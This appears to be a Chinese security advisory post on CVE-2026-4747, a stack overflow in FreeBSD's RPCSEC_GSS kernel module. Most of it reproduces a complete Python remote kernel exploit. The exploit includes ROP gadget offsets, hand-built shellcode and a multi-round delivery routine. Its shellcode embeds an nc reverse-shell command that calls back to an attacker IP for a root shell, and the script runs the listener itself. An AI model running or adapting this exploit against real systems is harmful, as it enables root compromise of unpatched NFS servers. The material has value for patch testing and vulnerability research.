0x00 前言
FreeBSD是一款有着三十余年发展历史的开源类UNIX操作系统,它支持x86、ARM、RISC-V等多硬件架构,采用宽松的BSD许可证,允许用户自由使用、修改和分发代码,甚至可用于商业产品,macOS、任天堂Switch等都复用了它的代码。
在性能与功能上,FreeBSD表现突出,其先进的TCP/IP协议栈让它成为网络服务器的理想选择,能在高负载下稳定运行,同时具备内存保护、抢占式多任务、SMP多处理器支持等特性,保障系统的稳定性与安全性。它还拥有完整的开发工具链,支持C、C++等多种编程语言,通过Ports包管理器可安装超36000款应用程序,兼顾服务器、嵌入式系统、桌面等多场景需求。
0x01 漏洞描述
内核模块 kgssapi.ko 和用户态库 librpcgss_sec 实现了 RPCSEC_GSS 安全协议。 该组件在验证 RPCSEC_GSS 数据包签名时,将数据包的特定部分拷贝到栈缓冲区中,但未校验数据长度是否超过缓冲区容量。 攻击者通过发送构造的恶意 RPC 数据包可触发栈溢出,导致内核态或用户态的远程代码执行(RCE)。 —— ——来源于网络
0x02 CVE编号
CVE-2026-4747
0x03 影响版本
所有受支持的FreeBSD版本
0x04 漏洞详情
POC:
https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py
#!/usr/bin/env python3
"""
CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS Remote Kernel RCE
================================================================
Stack buffer overflow in svc_rpc_gss_validate() → 15-round ROP chain
→ pmap_change_prot(BSS, RWX) → write shellcode → kproc_create
→ kern_execve("/bin/sh -c REVSHELL") → uid 0 reverse shell.
Targets FreeBSD 14.4-RELEASE amd64 GENERIC (no KASLR).
Requires a Kerberos ticket: kinit testuser@TEST.LOCAL
Usage:
python3 exploit.py -t <target> -p 2049 --ip <callback_ip> --port <callback_port>
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
- LCFR/x 2026
"""
import argparse
import gssapi
import select
import socket
import struct
import sys
import time
# ─── FreeBSD 14.4-RELEASE GENERIC amd64 constants ──────────────────────────
KERNEL_BASE = 0xffffffff80200000
KERNEL_BSS = 0xffffffff8198a000 # .bss section start
SHELLCODE_ADDR = KERNEL_BSS + 0x800 # where shellcode is placed
STACK_TOP = KERNEL_BSS + 0x1F00 # safe stack for shellcode
FAKE_MODULE_BASE = KERNEL_BSS - 0x3c000 # so reference bss_base = KERNEL_BSS
# ROP gadgets (found via ROPgadget on /boot/kernel/kernel)
POP_RDI = KERNEL_BASE + 0x1adcda
POP_RSI = KERNEL_BASE + 0x1cdf98
POP_RDX = KERNEL_BASE + 0x5fa429
POP_RAX = KERNEL_BASE + 0x400cb4
MOV_RDI_RAX_RET = 0xffffffff80e3457c # mov qword [rdi], rax ; ret
PMAP_CHANGE_PROT = KERNEL_BASE + 0xe4e2f0
KTHREAD_EXIT = KERNEL_BASE + 0x92c100
KPROC_CREATE = KERNEL_BASE + 0x92b600
# Kernel function offsets (for shellcode)
KPROC_CREATE_OFF = 0x92b600
KTHREAD_EXIT_OFF = 0x92c100
EXEC_ALLOC_ARGS_OFF = 0x915500
EXEC_ARGS_ADD_FNAME_OFF = 0x9155f0
EXEC_ARGS_ADD_ARG_OFF = 0x915680
KERN_EXECVE_OFF = 0x913040
TD_PROC_OFF = 0x08
P_VMSPACE_OFF = 0x208
P_FLAG_OFF = 0xb8
HA_HANDLER_OFF = 0x3c2f0 # in fake module layout
# RPC / RPCSEC_GSS constants
LAST_FRAG = 0x80000000
RPC_VERSION = 2
NFS_PROGRAM = 100003
NFS_V3 = 3
NULLPROC = 0
AUTH_NONE = 0
RPCSEC_GSS = 6
# Overflow geometry (verified via De Bruijn pattern)
RIP_OFFSET = 200 # credential body byte that overwrites return address
RBX_OFFSET = 152 # saved RBX (preloaded with KPROC_CREATE for final round)
# Write primitive budget: each 8-byte write costs 5 qwords (40 bytes) of ROP
WRITES_PER_ROUND = 4 # 4 writes × 40B = 160B, plus 24B exit = 184B < 200B budget
# ─── Wire format helpers ────────────────────────────────────────────────────
def p64(v):
return struct.pack('<Q', v)
def p32(v):
return struct.pack('>I', v)
def xdr_opaque(data):
pad = (4 - len(data) % 4) % 4
return p32(len(data)) + data + b'\x00' * pad
# ─── Shellcode builder ─────────────────────────────────────────────────────
def build_shellcode(kernel_base, callback_ip, callback_port):
"""
Build 425-byte x86-64 kernel shellcode for FreeBSD reverse shell.
Two functions:
entry — runs on the hijacked NFS thread:
pivots stack, clears DR7, calls kproc_create(worker), kthread_exit()
worker — runs in the new kernel process (via fork_exit callback):
exec_alloc_args → exec_args_add_* → kern_execve("/bin/sh -c REVSHELL")
clears P_KPROC flag, returns to fork_exit → userret → iretq → userland
Uses the same build logic as FBSD-001/exploit.py build_stage2_shellcode(),
with two patches:
1. ha_handler cleanup NOP'd (writes to CTL-specific addresses we don't own)
2. DR7 cleared before kproc_create (prevents inherited hardware breakpoints)
"""
kproc_create = kernel_base + KPROC_CREATE_OFF
kthread_exit = kernel_base + KTHREAD_EXIT_OFF
exec_alloc_args = kernel_base + EXEC_ALLOC_ARGS_OFF
exec_args_add_fname = kernel_base + EXEC_ARGS_ADD_FNAME_OFF
exec_args_add_arg = kernel_base + EXEC_ARGS_ADD_ARG_OFF
kern_execve = kernel_base + KERN_EXECVE_OFF
bss_base = FAKE_MODULE_BASE + 0x3c000 # = KERNEL_BSS
stack_top = bss_base + 0x1F00
shellcode_base = bss_base + 0x800
ha_handler = FAKE_MODULE_BASE + HA_HANDLER_OFF
revshell_cmd = (f"rm -f /tmp/f;mkfifo /tmp/f;"
f"cat /tmp/f|/bin/sh -i 2>&1|nc {callback_ip} {callback_port}>/tmp/f &")
code = bytearray()
# ── Entry ───────────────────────────────────────────────────────────────
# Stack pivot
code += b'\x48\xb8' + struct.pack('<Q', stack_top)
code += b'\x48\x89\xc4'
# kproc_create(worker_fn, NULL, NULL, 0, 0, "sh")
worker_fn_lea = len(code)
code += b'\x48\x8d\x3d\x00\x00\x00\x00' # lea rdi, [rip + worker_fn]
code += b'\x31\xf6\x31\xd2\x31\xc9\x45\x31\xc0'
str_name_lea = len(code)
code += b'\x4c\x8d\x0d\x00\x00\x00\x00' # lea r9, [rip + str_name]
# Patch: clear DR7 before kproc_create (prevents child inheriting stale breakpoints)
code += b'\x31\xc0' # xor eax, eax
code += b'\x0f\x23\xf8' # mov dr7, rax
code += b'\x48\xb8' + struct.pack('<Q', kproc_create)
code += b'\xff\xd0' # call rax
# Patch: NOP the ha_handler cleanup (originally zeroed CTL-specific pointers)
for _ in range(19):
code += b'\x90'
# kthread_exit
code += b'\x48\xb8' + struct.pack('<Q', kthread_exit)
code += b'\xff\xd0'
code += b'\xcc' # int3 (unreachable)
# ── Worker ──────────────────────────────────────────────────────────────
worker_fn_start = len(code)
code += b'\x55' # push rbp
code += b'\x48\x89\xe5' # mov rbp, rsp
code += b'\x48\x81\xec\x10\x01\x00\x00' # sub rsp, 0x110
code += b'\x48\x89\x5d\xc0' # mov [rbp-0x40], rbx
# Zero image_args
code += b'\x48\x8d\x7d\x80'
code += b'\x31\xc0'
code += b'\xb9\x10\x00\x00\x00'
code += b'\xf3\x48\xab'
# exec_alloc_args(&args)
code += b'\x48\x8d\x7d\x80'
code += b'\x48\xb8' + struct.pack('<Q', exec_alloc_args)
code += b'\xff\xd0'
code += b'\x85\xc0'
fail_jnz = len(code)
code += b'\x0f\x85\x00\x00\x00\x00' # jnz .fail
# exec_args_add_fname(&args, "/bin/sh", UIO_SYSSPACE)
code += b'\x48\x8d\x7d\x80'
str_binsh_lea = len(code)
code += b'\x48\x8d\x35\x00\x00\x00\x00'
code += b'\xba\x01\x00\x00\x00'
code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_fname)
code += b'\xff\xd0'
# exec_args_add_arg(&args, "sh", UIO_SYSSPACE)
code += b'\x48\x8d\x7d\x80'
str_sh_lea = len(code)
code += b'\x48\x8d\x35\x00\x00\x00\x00'
code += b'\xba\x01\x00\x00\x00'
code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg)
code += b'\xff\xd0'
# exec_args_add_arg(&args, "-c", UIO_SYSSPACE)
code += b'\x48\x8d\x7d\x80'
str_c_lea = len(code)
code += b'\x48\x8d\x35\x00\x00\x00\x00'
code += b'\xba\x01\x00\x00\x00'
code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg)
code += b'\xff\xd0'
# exec_args_add_arg(&args, REVSHELL_CMD, UIO_SYSSPACE)
code += b'\x48\x8d\x7d\x80'
str_cmd_lea = len(code)
code += b'\x48\x8d\x35\x00\x00\x00\x00'
code += b'\xba\x01\x00\x00\x00'
code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg)
code += b'\xff\xd0'
# kern_execve(curthread, &args, NULL, oldvmspace)
code += b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00'
code += b'\x48\x89\x7d\xd0'
code += b'\x48\x8b\x47' + struct.pack('<b', TD_PROC_OFF)
code += b'\x48\x8b\x88' + struct.pack('<I', P_VMSPACE_OFF)
code += b'\x48\x8d\x75\x80'
code += b'\x31\xd2'
code += b'\x48\xb8' + struct.pack('<Q', kern_execve)
code += b'\xff\xd0'
# Check EJUSTRETURN
code += b'\x83\xf8\xfe'
success_je = len(code)
code += b'\x74\x00' # je .success
# .fail
fail_target = len(code)
code += b'\x48\xb8' + struct.pack('<Q', kthread_exit)
code += b'\xff\xd0'
code += b'\xcc'
# .success: clear P_KPROC
success_target = len(code)
code += b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00'
code += b'\x48\x8b\x47' + struct.pack('<b', TD_PROC_OFF)
code += b'\x80\xa0' + struct.pack('<I', P_FLAG_OFF) + b'\xfb'
code += b'\x48\x8b\x5d\xc0'
code += b'\xc9'
code += b'\xc3'
# ── Strings ─────────────────────────────────────────────────────────────
str_binsh_start = len(code); code += b'/bin/sh\x00'
str_c_start = len(code); code += b'-c\x00'
str_cmd_start = len(code); code += revshell_cmd.encode() + b'\x00'
str_name_start = len(code); code += b'sh\x00'
# ── Patch RIP-relative references ───────────────────────────────────────
def patch_lea(off, target):
rel = target - (off + 7)
struct.pack_into('<i', code, off + 3, rel)
patch_lea(worker_fn_lea, worker_fn_start)
patch_lea(str_name_lea, str_name_start)
struct.pack_into('<i', code, fail_jnz + 2, fail_target - (fail_jnz + 6))
patch_lea(str_binsh_lea, str_binsh_start)
patch_lea(str_sh_lea, str_binsh_start + 5) # "sh" = "/bin/sh" + 5
patch_lea(str_c_lea, str_c_start)
patch_lea(str_cmd_lea, str_cmd_start)
struct.pack_into('b', code, success_je + 1, success_target - (success_je + 2))
# Pad to 8-byte alignment
while len(code) % 8:
code += b'\x00'
return bytes(code)
# ─── GSS context establishment ──────────────────────────────────────────────
def gss_establish(host, port, spn, retries=6, delay=2):
"""
Establish an RPCSEC_GSS context with the NFS server.
Returns the 16-byte context handle, or None on failure.
"""
for attempt in range(retries):
try:
name = gssapi.Name(spn, gssapi.NameType.kerberos_principal)
ctx = gssapi.SecurityContext(
name=name, usage='initiate',
flags=gssapi.RequirementFlag.mutual_authentication)
token = ctx.step()
if not token:
continue
# Send RPCSEC_GSS_INIT
rpc_hdr = (p32(0xaa000001) + p32(0) + p32(RPC_VERSION) +
p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC))
gss_cred = struct.pack('>IIIII', 1, 1, 0, 1, 0) # ver,INIT,seq=0,svc=none,handle_len=0
body = (rpc_hdr + p32(RPCSEC_GSS) + xdr_opaque(gss_cred) +
p32(AUTH_NONE) + p32(0) + xdr_opaque(bytes(token)))
pkt = p32(LAST_FRAG | len(body)) + body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(100)
sock.connect((host, port))
sock.sendall(pkt)
resp = sock.recv(8192)
sock.close()
# Parse handle from reply
if len(resp) < 32:
continue
rp = 16 # skip frag(4) + xid(4) + type(4) + reply_stat(4)
rp += 4 # verf_flavor
vl = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4
rp += vl + ((4 - vl % 4) % 4) # skip verf body
rp += 4 # accept_stat
hlen = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4
if hlen > 0:
return resp[rp:rp+hlen]
return b''
except Exception:
time.sleep(delay)
return None
# ─── Overflow packet sender ────────────────────────────────────────────────
def send_overflow(host, port, credential_body):
"""Send an RPCSEC_GSS DATA packet with the given credential body."""
rpc_hdr = (p32(0xdead0001) + p32(0) + p32(RPC_VERSION) +
p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC))
body = (rpc_hdr +
p32(RPCSEC_GSS) + xdr_opaque(credential_body) +
p32(RPCSEC_GSS) + xdr_opaque(b'\x00' * 16))
pkt = p32(LAST_FRAG | len(body)) + body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port))
sock.sendall(pkt)
try:
sock.recv(4096)
except (socket.timeout, ConnectionResetError):
pass
sock.close()
# ─── Credential builder ────────────────────────────────────────────────────
def build_credential(handle, rop_chain, preload_rbx=None):
"""
Build a 400-byte RPCSEC_GSS credential body that overflows rpchdr[].
Layout:
[0..35] GSS header (version=1, proc=DATA, seq=1, svc=integrity, handle)
[36..151] Padding (fills rpchdr + local variables)
[152..199] Saved registers (rbx, r12-r15, rbp — zeros or preloaded values)
[200..399] ROP chain
"""
cred = bytearray(400)
# GSS DATA header
struct.pack_into('>IIII', cred, 0, 1, 0, 1, 2) # version, DATA, seq=1, svc=integrity
struct.pack_into('>I', cred, 16, len(handle))
cred[20:20+len(handle)] = handle
# bytes 36..151 stay zero (padding)
# Preload KPROC_CREATE into saved RBX for the final round's shellcode entry
if preload_rbx is not None:
struct.pack_into('<Q', cred, RBX_OFFSET, preload_rbx)
# ROP chain at byte 200
if len(rop_chain) > 200:
raise ValueError(f"ROP chain too long: {len(rop_chain)} > 200 bytes")
cred[RIP_OFFSET:RIP_OFFSET+len(rop_chain)] = rop_chain
return bytes(cred)
# ─── ROP chain builders ────────────────────────────────────────────────────
def rop_pmap_and_exit():
"""Round 1: make BSS executable, then clean thread exit."""
rop = bytearray()
rop += p64(POP_RDI) + p64(KERNEL_BSS)
rop += p64(POP_RSI) + p64(0x2000) # 2 pages
rop += p64(POP_RDX) + p64(7) # VM_PROT_ALL (RWX)
rop += p64(PMAP_CHANGE_PROT)
rop += p64(POP_RDI) + p64(0)
rop += p64(KTHREAD_EXIT)
return bytes(rop)
def rop_write_qwords(writes, exit_or_jump):
"""
Write up to 4 qwords to kernel memory, then either kthread_exit or jump.
Each write: pop_rdi(addr) + pop_rax(value) + mov_[rdi]_rax = 40 bytes.
Exit: pop_rdi(0) + kthread_exit = 24 bytes.
Jump: just the target address = 8 bytes.
"""
rop = bytearray()
for addr, value in writes:
rop += p64(POP_RDI) + p64(addr)
rop += p64(POP_RAX) + p64(value)
rop += p64(MOV_RDI_RAX_RET)
if isinstance(exit_or_jump, int):
# Jump to shellcode
rop += p64(exit_or_jump)
else:
# Clean thread exit
rop += p64(POP_RDI) + p64(0)
rop += p64(KTHREAD_EXIT)
return bytes(rop)
# ─── Main exploit ───────────────────────────────────────────────────────────
def nfs_alive(host, port, timeout=3):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((host, port))
s.close()
return True
except Exception:
return False
def exploit(target, nfs_port, callback_ip, callback_port, spn):
"""
Full 15-round remote kernel RCE exploit.
Round 1: pmap_change_prot(BSS, RWX) + kthread_exit
Rounds 2-14: write 4 × 8B of shellcode per round + kthread_exit
Round 15: write final qwords + jump to shellcode entry
"""
print(f"\n Target: {target}:{nfs_port}")
print(f" Callback: {callback_ip}:{callback_port}")
print(f" SPN: {spn}\n")
# ── Build shellcode ─────────────────────────────────────────────────
shellcode = build_shellcode(KERNEL_BASE, callback_ip, callback_port)
while len(shellcode) % 8:
shellcode += b'\x00'
# Split into 8-byte writes
writes = []
for i in range(0, len(shellcode), 8):
qword = struct.unpack('<Q', shellcode[i:i+8])[0]
writes.append((SHELLCODE_ADDR + i, qword))
total_rounds = 1 + len(writes) // WRITES_PER_ROUND
if len(writes) % WRITES_PER_ROUND:
total_rounds += 1
print(f" Shellcode: {len(shellcode)} bytes ({len(writes)} qwords)")
print(f" Delivery: {total_rounds} rounds (1 pmap + {total_rounds-1} write)\n")
# ── Round 1: Make BSS executable ────────────────────────────────────
print(f" [R1/{total_rounds}] pmap_change_prot(BSS, 0x2000, RWX)")
handle = gss_establish(target, nfs_port, spn)
if handle is None:
print(" [-] GSS context failed"); return False
cred = build_credential(handle, rop_pmap_and_exit())
send_overflow(target, nfs_port, cred)
time.sleep(3)
if not nfs_alive(target, nfs_port):
print(" [-] NFS down after R1 (kernel panic?)"); return False
print(" [+] BSS is now RWX\n")
# ── Rounds 2+: Write shellcode to BSS ───────────────────────────────
round_num = 2
write_idx = 0
while write_idx < len(writes):
remaining = len(writes) - write_idx
is_final = remaining <= WRITES_PER_ROUND
batch_size = remaining if is_final else WRITES_PER_ROUND
batch = writes[write_idx:write_idx + batch_size]
action = "write + EXECUTE" if is_final else "write"
print(f" [R{round_num}/{total_rounds}] {action} "
f"({batch_size} qwords → 0x{batch[0][0]:x})", end="", flush=True)
handle = gss_establish(target, nfs_port, spn)
if handle is None:
print("\n [-] GSS context failed"); return False
if is_final:
# Final round: write + jump to shellcode (preload KPROC_CREATE in rbx)
rop = rop_write_qwords(batch, SHELLCODE_ADDR)
cred = build_credential(handle, rop, preload_rbx=KPROC_CREATE)
else:
# Intermediate round: write + kthread_exit
rop = rop_write_qwords(batch, "exit")
cred = build_credential(handle, rop)
send_overflow(target, nfs_port, cred)
if is_final:
print(f" → JUMP 0x{SHELLCODE_ADDR:x}")
else:
time.sleep(2)
if not nfs_alive(target, nfs_port):
print(f"\n [-] NFS down after R{round_num}"); return False
print(" ✓")
write_idx += batch_size
round_num += 1
print(f"\n [*] Shellcode delivered and executing.")
print(f" [*] kproc_create → kern_execve('/bin/sh -c ...')")
print(f" [*] Reverse shell → {callback_ip}:{callback_port}")
return True
# ─── Entry point ────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-4747 — FreeBSD kgssapi.ko Remote Kernel RCE',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
python3 exploit.py -t 192.168.1.100 -p 2049 --ip 192.168.1.1 --port 9001
Prerequisites:
1. Target must run FreeBSD 14.4-RELEASE with kgssapi.ko + NFS
2. Kerberos KDC must be reachable (port 88 or forwarded)
3. Run: kinit testuser@TEST.LOCAL (before launching this exploit)
4. Start a listener: nc -lvp <port>
""")
parser.add_argument('-t', '--target', required=True,
help='Target IP (NFS server)')
parser.add_argument('-p', '--nfs-port', type=int, default=2049,
help='Target NFS port (default: 2049)')
parser.add_argument('--ip', dest='callback_ip', required=True,
help='Attacker IP for reverse shell callback')
parser.add_argument('--port', dest='callback_port', type=int, default=4444,
help='Attacker port for reverse shell (default: 4444)')
parser.add_argument('--spn', default='nfs/freebsd-vuln@TEST.LOCAL',
help='Kerberos service principal (default: nfs/freebsd-vuln@TEST.LOCAL)')
args = parser.parse_args()
print("=" * 62)
print(" CVE-2026-4747 — FreeBSD RPCSEC_GSS Remote Kernel RCE")
print(" Stack overflow → ROP → shellcode → uid 0 reverse shell")
print("=" * 62)
# Start listener
print(f"\n [*] Starting listener on 0.0.0.0:{args.callback_port}...")
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
listener.bind(('0.0.0.0', args.callback_port))
except OSError as e:
print(f" [-] Cannot bind port {args.callback_port}: {e}")
return
listener.listen(1)
listener.settimeout(100)
# Run exploit
ok = exploit(args.target, args.nfs_port, args.callback_ip,
args.callback_port, args.spn)
if not ok:
listener.close()
return
# Wait for shell
print(f"\n [*] Waiting for reverse shell...")
try:
shell, addr = listener.accept()
except socket.timeout:
print(" [-] No connection within 60 seconds.")
listener.close()
return
listener.close()
print(f" [+] Connection from {addr[0]}:{addr[1]}")
print(f" [+] Got shell!\n")
# Interactive I/O
shell.setblocking(False)
try:
while True:
readable, _, _ = select.select([shell, sys.stdin], [], [], 0.1)
for fd in readable:
if fd is shell:
try:
data = shell.recv(4096)
except (BlockingIOError, ConnectionResetError):
data = b''
if not data:
raise SystemExit
sys.stdout.write(data.decode('utf-8', errors='replace'))
sys.stdout.flush()
elif fd is sys.stdin:
line = sys.stdin.readline()
if not line:
raise SystemExit
shell.sendall(line.encode())
except (KeyboardInterrupt, SystemExit):
print("\n [*] Shell closed.")
finally:
shell.close()
if __name__ == '__main__':
main()
0x05 参考链接
https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py
https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc